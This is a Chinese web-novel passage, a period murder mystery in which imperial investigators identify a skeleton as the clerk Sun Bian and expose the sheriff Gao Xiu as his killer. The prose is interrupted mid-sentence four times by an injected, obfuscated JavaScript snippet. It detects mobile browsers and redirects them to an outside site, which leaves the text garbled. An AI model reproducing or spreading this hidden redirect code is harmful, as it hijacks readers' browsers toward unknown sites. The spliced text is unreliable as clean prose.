等几个奉命的绣衣使走后,容朗才问道,“姚堂有问题?” 李希言停住脚步,站在门口侧过头。 “他在撒谎。他明明清楚尸骨粗糙的原因。” “原来如此。”容朗微微颔首,没有追问。 见他老老实实的样子,李希言忽然起了逗弄的心:“我说你就信?” “你没骗人啊。” 她骗人的时候,要么是笑着的,要么就是一脸正经。 一眼能够望得到底。 面对这样的眼睛,李希言心里却生出几分胆怯,飞快收回了自己的视线,埋头冲进了房间。 容朗不知她为何如此,只小心跟着,找着话题。 “李少使,你说那个姚堂为何要隐瞒此事?” 李希言伸出食指晃了晃:“一,他认识凶手。二,他就是凶手。” “我们之前推测死者应该是县衙的人,也有可能是他认出了死者。” “他若只是单纯认出了死者,应该会马上说出死者是谁,他没必要隐瞒死者身上痕迹的由来,除非他和凶手有关系或者他就是凶手。” 容朗反对道:“我倒觉得他不可能是凶手。” 李希言转身关上门,坐了下来。 “为何?” 容朗也跟着坐下,比划了一下:“死者个头不小,还是个青壮年,姚堂都快六十了,想要杀他并不容易。而且,若是凶手真的是他,他大有办法伪造死因。可是他没有,初验的结果都是正确的。” “有道理。” 容朗试探着说道:“李少使脾气真好,和传言中一点儿也不一样。” 李希言抬眼:“王爷亦是如此。” 话中未尽之意让容朗有些着急。 “我要是不装成那副样子,对哥哥不好。” “我明白。”李希言浑不在意。 容朗见缝插针:“我确实好享乐了些,但是从来不做浪荡的事情。” “哦。”李希言顿了一下,“看得出来。” 和瑞王一样带点儿傻劲儿。 容朗心里一下就放松了。 虽然没认出他,但是对他印象不错也很好! “少使!”关风和拿着账册大步跨了进来,“这东西有问题。” 账册被摔在二人之间。 “先坐。”李希言抽出一本账册。 关风和这才看到了容朗,直言道:“王爷又在啊!” 容朗微笑:“关校尉好。” 什么叫做“又”!他不仅会“又在”,还会“一直在”“永远在”! 关风和是个没心眼儿的直爽人,笑呵呵地打了个招呼就坐了下来。 对这一切毫无察觉的李希言合上账册:“这有什么问题?” 关风和总结道:“账册上确实是做了手脚,谢荣他们谎报了土地数量,还有许多开支根本就相互矛盾。” “是常见的贪墨手段,有何特殊之处?” “账目有缺失。五年前,就是泰平十一年,那一年每个月都有账目缺失,是人为故意的。” 李希言点头:“缺失的部分要么是被谢荣藏起来了,要么……就是被余绍带走了。这你先不用管了。”她摆了摆手,“关姐,你先去和苗青汇合,准备剿匪的事情。” “剿匪!”关风和一脸兴奋,“跟着少使就是好!” 容朗嘴角抽搐。 这是个什么说法? 李希言面色如常:“那你先去吧。对了,顺便记得调些人护住慈光寺以及附近的百……” “好!”关风和不等她说完,就跑了出去。 容朗表情有些呆:“关……校尉,这么喜欢剿匪?” “让王爷见笑了。”李希言觉得有些脸红。 正在她尴尬时,绣衣司的人敲了敲门。 “少使,有一位和尚求见。” “和尚?” “是个老和尚,自称是慈光寺主持慧空,说是有极其重要的东西要交给二位。” “慧空?” 二人对视一眼,在对方的眼中看到了相同的疑惑。 这个时候,他来做什么? 李希言满腹疑虑:“请进来吧。” 慧空今日的神色带着些焦急,脚步也快了不少,不似平日的从容。 二人站起身迎他进来。 双方互相行了礼。 李希言抬手:“慧空大师请坐。” 慧空刚一坐下也不等李希言问起,就急不可待的说起了今日来的目的。 “今日一早,老衲在挖出尸骨的土坑附近发现了一样东西。” 他从怀里摸出一块木质的牌子。 牌子正面刻着“东曲县衙”,翻过来,背面刻着“孙边”二字。 李希言接过令牌,来回摩挲。 牌子还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723788|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很干燥,上面的漆也很新,只有左上的边角有点磨损。 “孙边?” 是谁?是死者的名字吗?可是…… 李希言放下令牌:“多谢您跑一趟,这是个很重要的证据。” 慧空双手合十,起身欲走:“阿弥陀佛,能帮到小友就好。老衲还有事就先走了。” 李希言拦住他:“慧空大师。将近正午,日头这样毒辣,路途又遥远,您用些斋饭,晚辈再让人送您回去?” “不必了。”慧空摇头笑着,“老衲暂时不回去了。” “那您去哪儿?”李希言更不放心了。 慧空解释道:“老衲想要等着此案审结,所以准备在客栈暂时停留几日。” “就算是客栈,也要走上好久。我还是让人送您去。”李希言立刻招手叫来一人,语气坚决不容拒绝,“你先去送慧空大师找个客栈歇息。” “属下遵命。”绣衣司的人还算客气,“慧空大师,请。” 慧空也不好拂了晚辈心意,点了点头。 “麻烦小友了。” “应该的。”李希言对着手下嘱咐道:“要小心慧空大师四周,注意安全” 手下点头:“属下明白了。” “去吧。” 二人慢慢走远。 李希言站在门口,视线追随着他们。 容朗站到她的身边:“慧空有问题?” 他能明白。 她刚刚对手下的嘱咐实际上是监视的意思。 “是。”李希言侧身,回头望向桌上的木牌,“他隐瞒了一部分事实。” “不是说出家人不打诳语吗?”在容朗的印象中,他认识的和尚都是极其恪守清规戒律。 “‘救人一命胜造七级浮屠。’,若是能救人命,撒谎也只能算开戒吧?” “救人一命?救谁?” “或许是徐令诚?”李希言不太确定,“先不管这些,我倒是更好奇这个孙边是谁。既然是府衙的人……” 她轻轻敲了敲门框:“把卫川叫来。” “不须他人来寻,我已然到了。”卫川的声音遥遥传来。 李希言循声望去。 卫川正斜倚在院门口。 一向挂着笑的嘴角有几分僵硬。 “事情办得如何了?” 卫川脚下像生根了似的,一脸心虚。 “啊这……” 容朗见二人对峙着,也走了过来。 这是怕什么呢? 李希言无奈:“先过来。” 卫川一听这话松了口气,这才一摇一摆走了过来。 三人坐定。 李希言才说:“孙边,名单上可有孙边这个人?” 不是问他差事! 一上午都在摸鱼的卫川慢腾腾地摸出了名单。 “没……没打听到这儿呢。” 李希言哪里不知道他的德行,一让他去打探消息,就和别人聊个没完。 她一把拿过名单,就在第一张纸上找到了孙边这个人的名字。 “二十八岁,户房典吏?” 又是户房? 她往后翻着,这人一直在县衙当值,如今已经是主管户房的司吏…… “我怎么记得……”容朗眼神颤动,“高修说,主管户房的司吏在几日前就出了县城。” 李希言放下名单,眉头的红痣动了动:“是六月十五走的,案发前三日。” 三日,怎么就会让人变成白骨? “来人!叫谢荣和高修过来!” 21. 认尸 一个木牌被扔到了谢荣和高修面前的地上。 上面明晃晃的字让二人神色微动。 孙边? “李少使?”谢荣直起身,“不知您这是何意?” 李希言也不和他们废话,指着木牌。 “在掩埋尸骨的土坑里找到的。” “不可能!”谢荣几乎是吼出来的。 那是一具尸骨,怎么可能是孙边! 高修要镇定许多。 他蹲下拿起令牌,站起身翻来覆去看了好几次。 随着时间流逝,他的脸色越来越难看。 “这东西……确实是孙边的。” 谢荣瞪大了眼,看着他。 高修把令牌递给他:“孙边的令牌左上角上确实有磨损,他前几日还说让您给换一个。您应该记得的。” 谢荣瞟了一眼,脸色一下变得煞白,他已经忘记接过令牌,只不住地念叨。 “怎么会……不可能啊!孙边是十五……那日出城的!那尸骨……那尸骨……” 李希言屈起食指,叩了两下桌面,打断了他:“高修,按你所言,孙边昨日就该回来了。” 高修捏着令牌,一脸凝重:“或许是延迟了?” “延迟?”李希言冷笑,忽而提高了音量,“那现在就去找!” 高修被吓得抖了抖,不敢再找理由。 “下官遵命。” “还有,立即把孙边的妻子叫来。” 谢荣问道:“叫她来做什么?” “认尸。” 县衙的验尸房周边种满了树。 在树荫下,即使是白日里的验尸房都似乎散着一股冷气。 孙边的妻子谭氏刚刚被谢荣叫来。 她不知道缘由,迷茫地站在门口发呆。 过了片刻,验尸房中才走出一名黑衣卫士。 是绣衣司的人! 谭氏牙齿都在打颤。 难道是她家那个招来的祸害? 她下意识扭头准备跑掉。 出来叫人的卫川愣在原地。 他摸了摸自己的脸喃喃自语。 “我现在是属于长得吓人的那一挂了吗?” 见着他就跑? 李希言倏地出现在他的身后,悠悠道:“再不把人叫过来,我就扒掉你的皮。” 语气里暗含杀气,卫川浑身一震,头都不敢回,直接朝着谭氏冲了过去。 谭氏反应不及,被卫川堵住退路。 “我们李少使请你来辨认一样东西。” 谭氏飞快地看了一眼面前的卫川。 或许是因为他算得上俊秀的外表,她稍稍放心了些。 她怯怯地问道:“辨认什么?” 面前的妇人看上去还很年轻,不过二十几岁,卫川想到之前听到的推测,心中有些不忍。 “你过来就是。” 他带着一头雾水的妇人走了过去。 李希言和容朗已经在盖着白布的尸骨面前等着她。 二人气度不凡,谭氏谨慎地行了一礼。 “民妇见过二位大人。” 李希言打量了她一眼。 三十左右,明明体型健硕却有些血气不足的模样,看长相是个泼辣直爽性子。打扮得很富贵,连手都白白嫩嫩的,一看就是没干过粗活。 “免礼。” 他给容朗递出一个眼神,示意他先问。 容朗眼眸垂了垂,才侧头正视一脸忐忑的谭氏。 “尊夫可是户房司吏孙边?” “正……正是。”谭氏眼神乱瞟,心脏砰砰得跳着。 “他走路姿势可有些异于常人?” 谭氏捏紧了帕子,瞪着眼睛,一脸惊讶:“大人怎么知道?家夫天生走路姿势有些奇怪,行得久了还会有些一瘸一拐。” “那他是否时而脚踝疼痛?” “有……有啊……每次出去逛街,他走到半道上就不行了,还不如民妇呢。” 容朗的心沉下去一半。 尸骨的脚骨没有足弓,这和孙边的症状相符合。 “他的牙齿是否有什么病症?” 谭氏越听越迷糊。 这个大人怎么这么了解她家夫君? 只是她慑于站在一旁看上去就很不好惹的李希言,也不敢多问,老实回答道:“家夫幼时家中很是富裕,父母又娇惯,吃糖吃坏了牙。” “是不是上牙右起第三颗?” 谭氏满腹疑窦,嗫嚅道:“是…… 容朗摇了摇头。 李希言也明白了。 这一样对得上是巧合,总不能样样都能对得上。 死者的身份几乎可以确定就是孙边。 二人的沉默让谭氏不安的心愈发慌乱。 视线内遮盖尸体的白布莫名地吸引了她的注意。 白布下的是…… 她不由向前了一步,双眼空洞。 李希言见她神色也知道她已经猜到了大半。 “县衙的人还在寻找孙边的踪迹,并不能完全确定。” 她分外冷静的声音让谭氏心中稍安。 谭氏捏紧了手帕,捂着心口,小声安慰着自己。 “一定不是……一定不是……” 不知过了多久。 外面忽然炸起谢荣的叫喊声。 “不好了!” 谭氏浑身僵住,惶恐地盯着大门口,眼中的泪已经落下。 谢荣飞奔进来,气还没来得及喘匀,说话也断断续续的:“孙边……孙边失踪了……那尸骨……” 他话还未说完,谭氏就已经晕倒了过去。 李希言一把扶起她,指挥着女手下:“给人找个大夫,再送回去。” 谢荣这才看见一旁的谭氏,他捂住了嘴。 哎呀!这下可糟了! 等绣衣司的人把谭氏带下去后,李希言才开始问话:“何时失踪的?” 谢荣气息平稳了不少,他抚了抚衣袖。 “他第一个要去的地方应该是距离县城最近的乡,但是六月十四那晚他出城后就再也没有痕迹,那里的里正说根本就没有看见他。” “高修不是说他是十五走的吗?” “安排的时间就是十五一早,谁知道他为何赶着十四晚上就要出城,或许是急着早去早回?” “再急也不会急着那么一晚的功夫。” 谢荣看了一眼尸骨。 “李少使,这尸骨真是孙边?会不会搞错了?这……下官虽然不才,但是也知道这尸体要变成尸骨怎么也得要两年以上的时间啊!” “年纪特征都对得上。” 谢荣只觉得脑子里一团浆糊。 “本官倒是有件事情想要问你。”李希言走到他跟前,一双眼直直望着他,仿佛要将他看到底。 谢荣心里发虚,眼神闪了闪,借着行礼的动作微微低下头,避开她的眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728151|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “李少使请讲。” “余绍,你们可找到了余绍?” 谢荣挣扎了一二,还是决定说出实情。 “早就死了。下官之前也不是特意瞒着您,是因为……余绍是从悬崖上跳下去的,那尸体都烂成一团了,下官也不敢完全确定,这才……” “确实无法确定,所以你有何证据能证明那人是余绍?” “当时追捕他的人就是高修还有几个衙役。他们说,走到悬崖的时候,余绍直接就跳了下去。他们也没有掉以轻心,害怕余绍有什么脱身的办法,就立刻找了条路,到了那崖底去寻。没找多久,他们就看到了余绍的尸体,连衣裳都是余绍的,还有……还有……” 谢荣暗自咬牙,下了狠心。 “还有余绍的带走的官银!” 他决定了,就是自己出点血也要把这事情糊弄过去! “是吗?那最开始我们以为尸体就是余绍的时候,你为何不说呢?” “下官……下官以为之前被误导了。” “那余绍的尸体呢?” “悬崖路难行,他们带不走,就把尸体留在那里了。” 李希言宽容地表示理解:“也算符合常理。如今一看,这案子就很复杂了。你先下去吧。” 谢荣实在看不透眼前这个二十出头的女官。 想要试探却又害怕对方的狠辣。 一番纠结之下,他只能告退:“那……下官告退。” 三更天。 天色已经黑透。 县衙也陷入了沉睡。 夏日少云,月光格外明亮,即使在夜里也足够照亮面前的路。 佝偻的背影趁着夜色,借着月光,打开了验尸房的大门。 他的动作很娴熟,像是练习过千百遍一般。 一拧一转就打开了锁。 吱呀—— 木门的开启伴随着刺耳的摩擦声。 佝偻的背影缓步走了进去。 在他目所不能及之处,一道黑影已经死死盯住了他。 转身的那一刻,月光照清了人脸。 果然,如少使所说,这个姚堂大有问题! 姚堂警惕地关上门。 黑影随即闪身站到了窗户跟前,透着窗户纸静悄悄地观察着。 姚堂径直走向了房内最左侧的一排柜子,打开了一个抽屉,从抽屉里拿出一个罐子。 他的动作在此时才有了一丝停顿。 “唉……” 姚堂长叹了一口气,一脸不舍,宝贝儿似的摩挲着罐子。 足足过了一刻钟,他才停了手,轻轻拍了两下罐子,又叹了一口气。 “没办法,这东西不能留。” 他把罐子放在身边的桌上,又拿起柜上的一柱香,将其点燃。 香一被点燃就散发出一股特有的草药气息。 姚堂紧紧捏着香,绷着脸,手腕一转,将香戳入罐子的封纸中,香的烟雾也被尽数灌入。 令人牙酸的摩擦声忽的从罐子中传来。 窸窸窣窣。 过了片刻,声音消失。 姚堂才松了手,他又抱起了罐子,准备向外走去。 就在此刻。 原本关闭的大门被突然打开。 卫川现身,摇了摇扇子,视线紧紧黏着姚堂怀里的罐子。 “姚仵作,和在下走一趟吧?” “啊……”姚堂向后退了几步,抱着罐子瘫坐在地。 22. 虫 桌上的罐子是纯黑色的,圆口大肚,釉面毛糙,看上去很不起眼。 凑近一闻就能闻见一股淡淡的焦糊气味,还有点儿臭。 李希言打开罐子,朝里看去。 只见罐子里满是密密麻麻的黑色虫尸,一眼看去,多得无法确定数量。 李希言倒吸一口凉气,指尖微微颤动。 好恶心…… 容朗知道她害怕虫子,立即将罐子拿到自己面前。 “我看看是什么……噫!”他瘪了瘪嘴,夸张地摇了摇头,顺手盖住了盖子,“真恶心!哪儿来这么多虫子啊!” “姚堂。”已经缓过气的李希言恢复了平静,她的语气还算不上严厉,“你大晚上烧毁这些虫子做什么?” 姚堂低着头,手动个不停。 “小的……小的是……这虫子没有用了。” 李希言不愿意为难他,也不和他绕圈子。 “这虫子是做什么的,本官把县衙的人找来一问就能知晓,你何必再隐瞒?” 姚堂动作一僵。 “姚仵作,只要人并非你所杀,你有什么好怕的?”容朗劝道。 二人温和的态度让姚堂放下心来。 他小声说出了事情:“这虫子……可能和尸骨有些关系。” 李希言捏成拳的手紧了紧。 “什么关系?” “这虫子是小的家里家传秘方,可以清除尸骨上的腐肉……所以……” 李希言瞬间明了。 “尸骨表面的粗糙是这种虫子造成的?” 姚堂小心翼翼地点点头。 “也就是说,有了这个虫子,一具尸体就能很快变成白骨?” “是……”姚堂咽了口唾沫,“虫子数量足够的情况下,一日即可。” 容朗激动地看着李希言。 尸体三日就变成白骨的原因找到了! 李希言冷静许多,她继续追问:“若是要在三日内把一具成年男子的尸体变成尸骨需要多少虫子?” 姚堂对于尸骨的身份等信息完全不知情,李希言如何问,他也就毫无顾虑地回答了。 “三日啊……怎么也要几百只吧。”他越说心里越怕,求饶道,“小的销毁虫子……只是怕……怕被怀疑是杀人凶手!李少使,李少使……请您明鉴!小的只是个验尸的仵作,从来不敢杀人啊!” 李希言示意他上前:“你自己数一数你这罐子里有多少虫子?” 姚堂依言打开罐子。 李希言提醒道:“你这里面本来有多少只虫子?” “两三百……”姚堂一下反应了过来,他感激地作了一揖,“大人明鉴!小的这点儿虫子根本就不够啊!” “本官知道。”李希言郑重道,“但是,你要知道这虫子只有你有。” “不不……”姚堂连连摆手,“小的根本不敢确认这虫子的具体数目,这罐子也是人人都能取到的,县衙里的很多人都能拿得到!” “本官明白。” 李希言从来没有怀疑过姚堂。 他没有动机。 目前来看……这案子牵扯到的就是县衙这本烂账。凶手要么是县衙里的人,比如谢荣,高修。要么是是余绍的故旧。 谢荣圆滑得紧,高修内里藏奸,二人都不是易于之人。 但是……有一个人还活着,并且很有可能与此事有关。 谭氏,孙边的妻子。 只有她,会毫无保留。 “醒了?” 清凌凌的声音让谭氏迷蒙的精神瞬间惊醒。 她捏着被子,迅速坐起,像受惊的兽类盯着声音的来源。 李希言向后退了一步。 “是我。” “你……是你……”无法接受的现实再一次随着眼前之人的出现血淋淋地摆在谭氏的眼前。 她的夫君,死了! 大颗大颗的泪水一滴滴地滴在绣着鸳鸯戏水的被罩上,泪水滴落,瞬间汇入鸳鸯身下的池水。 李希言没有劝慰她,只是安静地站在一旁。 哭得出来,才是好事。 抽泣声一点点变小。 谭氏干哑着嗓子:“大……” “先喝口水。”李希言不由分说地把一盏热腾腾的茶塞入她的手中。 喉咙撕裂的疼痛提醒着谭氏目前自己的情况。 她艰难抿下一口,喉咙的疼痛立即被抚平不少 “多谢……” 李希言撩起衣袍,坐在床沿上,耐心地等着谭氏开口。 “大人……”谭氏放下茶盏,“大人是绣衣司的李少使?” “是。” 谭氏心中大定。 李希言问道:“你可知道,你夫君和哪些人有过节吗?” 第一个问题就让谭氏有些回答不出。 太多了……她还真算不清。 李希言补充道:“尤其是县衙里的人。” 谭氏浑身一震,表情扭曲了一瞬。 “有。” “是谁?” “高修。” “高修?”这个答案不算太出乎意料,李希言追问,“有何过节?” 谭氏下意识扫视了一眼室内。 室内只有二人在。 她这才红着脸说道:“夫君他……一直在威胁高修。” “高修有把柄在他手里?” “嗯……”谭氏声音低如蚊讷,显然是很不好意思,“夫君每次和高修出去都是高修结账……我想着高修到底是他的上官,这样不太好,就劝了他几句。结果,夫君说,高修有把柄在他手里,他才不敢对他做什么。” “什么把柄?” “夫君有次酒后说出来的,说是……说是……”谭氏扯了扯手下的被子,咬了咬嘴唇,“高修和谢荣的妾室有牵扯。” 李希言忽然想起苗青所说跟踪高修一事。 苗青跟踪高修时,高修走的是小门,而且是里面给了信号才进去的。 可是,她和容朗跟踪高修那晚,高修走的却是正门,谢荣也没有主动给信号,二人直接就见了面。 还有,她一直觉得不对劲的地方! 苗青的轻功比她和容朗强得多,然而苗青跟踪那日却很快被发现,她和容朗从头到尾也没有被发现。 如今一看,怕是他去私会的时候,警惕性更强些。 “具体是哪一个妾室?” “就是谢荣最宠爱的那个。叫做红莺儿,原来是个唱戏的。” “孙边知道这件事情有多久了?” 谭氏算了算:“大概有六七年了吧?” “孙边是十四晚间离家的吗?” “是。他那日回来急匆匆地收拾了行李,说是要去乡下对对账。我让他第二日早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730459|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上再走他也不听,非说自己着急,收拾了些东西就跑了。” “具体是什么时辰离开的?” “晚饭前后,大概是申时末。” 看来,孙边提早离开这件事情怕不是凶手的手笔。 “那他离家前这段时间可有什么异常?” “有!”谭氏几乎不需要回忆,“就是他走那日下午吧……他收到一封信,看完了信之后,他就一直不太对劲儿,说着要走,我问他那信的事他也不说。” 李希言眼睛一亮:“那信可还在?” “在的!他把信放在书房里!”谭氏拉住了李希言问道,“可是写信的人将他约出去杀了他?” “有可能。”李希言目光暗含关切,“你现在可还能走动。” “没问题的!”谭氏急切地想要起身证明自己,“我能走的,我这就去拿信。” 拿到了信,就能抓到凶手! 李希言也不阻拦,叫了几个手下跟着谭氏去取信。 “快去快回。” 谜底就在眼前,即使是她也忍不住焦急。 “是!” 谭氏被护送出了县衙。 李希言站在门口,视线却依旧没有收回。 “怎么?还有问题?”容朗走过来问道。 李希言将谭氏所言全部告知。 “不仅仅只是谭氏如此说,我也一直怀疑高修。” 容朗被突来的消息炸得有些头晕脑胀。 “什么?” 李希言也未察觉,自顾自地说道:“现场缺少的香囊。从一开始,身为县尉的高修就能够在第一时间,藏匿证物。卫川。” 靠在一边打盹儿的卫川一下来了精神,他颠颠儿地跑过来。 “您吩咐。” “去,搜高修。” 卫川面露迟疑:“这……会不会不太好啊。他好歹是朝廷命官。” “绣衣司,管的,就是朝廷命官。” 高修是个古怪的人。 三十几了没有娶亲,也没有安家,就住在县衙旁边的一间民宅内。 他也不常回宅子,一忙起来就住在值房里,随便扯个被褥盖一盖就将就过去了。 要找他,都是先去值房。 是以,当他看见直接闯入他家中的绣衣使们,一时还有些懵。 即使卫川已经一脚踢开了了大门。 他还是吊儿郎当的样子,但是动作却杀伐果断。 “给我搜!” “住手!”高修怒不可遏,走上前堵住门,“你们绣衣司也太嚣张了!毫无缘由就敢搜我这个朝廷命官的宅子!还有没有王法!” 卫川双手环抱,学着李希言平日的语气:“贪赃枉法的人还讲起王法来了?” 高修此刻倒是稳得住,一动不动:“污蔑人之前也是要证据的。” “乖,等会儿就给你看。”卫川一把推开他,“都给我进去搜!” 高修虽然魁梧,但是比起被李希言一手“磨”出来的卫川来还是有些不够看,不过一下,他就被推得差点摔倒。 “记住了。”卫川明明是对着手下发号施令,眼神却投在高修身上,“要找一个香囊。” 高修脸上因为怒气上涌的红瞬间褪去。 “香……香囊……” 卫川笑眯眯地看着他:“对啊,香囊。” “找到了!” 23. 揭秘 县衙大堂。 县衙大堂。 李希言坐在主位,手里摸着惊堂木,神色不明。 被叫来的谢荣垂着头,眼神却在几人之间打着转。 高修……怎么被抓了? 瑞王一脸兴奋,坐在下面动个不停。 “规矩点。”一旁的容朗小声提醒他,“李少使不高兴了,就会立即让你又回房去关着。” 瑞王一下就不动了。 识时务者为俊杰!他现在更关心这案子到底是怎么回事! “李少使……这……”谢荣装出一脸迷茫,“这是怎么回事啊?” 李希言抬眼:“审案子。” “您是说高县尉是……”谢荣讪笑,“这怎么可能啊?好好的,他去杀孙边做什么?” 李希言笑得意味深长。 “这个动机,你可能不太爱听,我们先说其他。高修,六月十四的晚上你并未当值,当时你去了哪里?” 高修脸色一下就变了,他缓缓抬起头:“在家中。下官在家中。” “在家里?那为何守城的卫士说你那晚出了城,直到第二日一早才回来?” 高修勉强一笑:“是……是么……” “卫士就在外面,随时可以和你对峙。”李希言冷笑,“别把狡辩的功夫用在这个问题上,毕竟,你还需要狡辩其他的问题。” 高修脸皮也是足够厚。 被冷嘲热讽也没有露出惊慌的表情,反而腆着脸说道:“那或许是下官记错了。 “记错了?”李希言抚掌,“很好的理由。那你现在记起来了吧?” “大……大概。”高修笑了笑,“下官记性一直不好。” “记性再不好也该记得十四那晚为何要出城吧?” “这个当然记得!下官当时是去追捕犯人了,您知道的,这是县尉的职责。”高修毫不躲闪地直视稳坐在上的李希言,言语透着挑衅。 “捉的是哪个犯人?人可抓到了?经过了哪些地方?” “是前年逃窜的一个人犯。此人名为张剑,是个江湖人士,在和人缠斗之时引起大火,导致三户人家被烧死。此事,谢县令也知道的。”高修对答如流。 谢荣一心要捞他,也不管听没听清,立即附和道:“确有其事!确有其事!” 李希言的腿上传来一股熟悉而久远的火辣辣的感觉。 很疼…… 火焰燃烧木头发出噼里啪啦的声音。 很响…… 失神只有一瞬间。 她悄悄掐了一把自己的腿。 “那,这枚香囊你作何解释?” 卫川配合的把搜出的香囊放到桌前。 香囊上绣着竹报平安的图样,边角上还有一个“孙”字。 “不认识,没见过。”高修索性抵死不认,“不是绣个‘孙’字就是孙边的。” “要叫谭夫人来对质吗?” 高修一下没了借口。 “东西是在你那里搜出来的,你没有解释是不行的。”李希言将香囊收在袖中。 “下官家中连个仆人都没有,被人闯入也不是什么不会发生的事情。”高修眼神微动,“李少使,是确定那一具尸骨是孙边?可是孙边失踪了才三日,怎么可能那么快就变成一具骨架?” “姚堂,你来说。” “是。”姚堂低着头,躲避上司的视线,大着胆子说道,“死者在死后被人用一种虫子啃咬了尸体上的肉,所以才会三日的时间就剩下一具骨架。” “姚堂,高县尉知道这种虫子的存在吗?” “应该知道的。高县尉专门管捕盗之事,统领三班人役,我原来常用这种虫子清理尸体腐肉,高县尉还亲眼见过呢。” “高修,你自己说说。孙边出事那晚,你也出了城,你还知道那虫子的用处,而且,连孙边的香囊都在你这里。这一条条,能这么凑巧?” “下官早就不记得那虫子的用处了!而且那虫子应该是姚堂自己收着的,下官从何得之啊!” “验尸房连个看守都没有,被人闯入也不是什么不会发生的事情。” 李希言用他刚刚搪塞的理由怼了回去。 “可……可是我没有动机!”高修一脸大义凛然的模样,额角却已经有汗流下,“下官和孙边相交多年,关系和睦,县衙上下人人皆知!下官杀他做什么!” 谢荣见他有些撑不住急忙为他作证。 “李少使,高修和孙边关系相交莫逆,确实没有动机啊。” 此言一出,知道内情的人表情都有些古怪。 容朗倒还是忍得住,端端正正地坐着,卫川却没有那样好的耐力,直接笑出了声音。 谢荣扭头去看他。 这是……笑什么? “谢县令。”李希言嘴角微微翘起,“别人问动机也就算了,你问……确实有些怪。” 谢荣满头雾水。 这是什么意思? 难道是发现他们的勾当了? 可是,之前还不是和颜悦色地把假账册还了回来吗? “少使!谭氏已经带到。” “请进来。”李希言摸了摸袖子里的香囊,“谢荣,等会儿让谭氏亲口告诉你,高修的动机到底是什么。” 谭氏快步走进,一眼就看见了杵在一旁的高修。 恨意滋生,她的手紧紧捏成了拳头,眼神狠厉得像是要杀人一样。 卫川立即站在二人之间,阻隔她的视线。 他温言道:“谭夫人,先把信给李少使,好吗?” 谭氏胸口起伏了几下,忍下恨意,将信掏了出来。 卫川接过信交给李希言。 李希言将信打开,念道:“事关账册,十四晚城外福山山脚见面,高……修!” “不可能!”高修冲上前去,想要抢过信来看。 李希言将信扬了扬。 “谢县令应该认得高县尉的字迹吧?” 容朗一把将高修双手反剪按在地上。 “老实些。” “放开我!”高修被压得无法动弹,脸憋得通红。 容朗浅色的瞳孔透出一股狠厉,手下更是用力,高修被压得直接趴在了地上。 “谢县令来看吧。”李希言见高修被压制,将信放在桌边。 谢荣犹豫了一会儿,上前拿起信。 不过一眼,他的眉毛就紧紧皱了起来。 这字儿……还真是高修写的! 他不禁垂眸看向高修。 这到底是怎么回事! 高修做事最是稳妥,怎么会冒冒失失去杀孙边? “怎么?谢县令还没认出字迹?”李希言凉凉地问道。 谢荣僵硬抬起头。 字迹的事情瞒不了! 只需要比对就可得知。 他现在只能自保,才有机会捞出高修! 希望他能明白自己的苦心! 谢荣下定决心,斩钉截铁地说道:“确实是高修的字迹。” 高修不可置信地仰起头。 谢荣该保他的!为何……难道是这字迹真是自己的?他实在没有办法? 二人一时心中稳住了些。 高修反驳道:“仅有这书信可不能定罪!字迹可以伪造不说,就算信是我写的也只能说明那晚我们见了面。我,没有动机杀他!” “别急。”李希言悠哉悠哉的,“谭氏,你先说一说,孙边走时戴的香囊是什么样子的?” “是个蓝底绣花的,花样是民妇自己绣的,绣的是竹报平安,旁边还有先夫的姓。” 李希言摸出袖子里香囊。 “你看看,是这个吗?” 谭氏拿起看了一眼就点了点头“是,是这个!这是民妇… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734477|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”她哽咽了一下,擦了擦泪,“自己绣的。“ “香囊的问题已经解决了。”李希言示意谭氏收好香囊,“接下来我们就来说说动机,谭夫人,把你知道的都说出来吧。” 谭氏将香囊揣在怀里,扭头直勾勾地盯着高修,一双眼睛已经满是血丝。 “他高修……”她瞟见了谢荣,忽然讽刺一笑,“和谢荣的妾室有一腿!因为怕我夫君告密,他就杀了夫君……” 谢荣怔愣在原地,整个人已经完全呆住:“什么?” 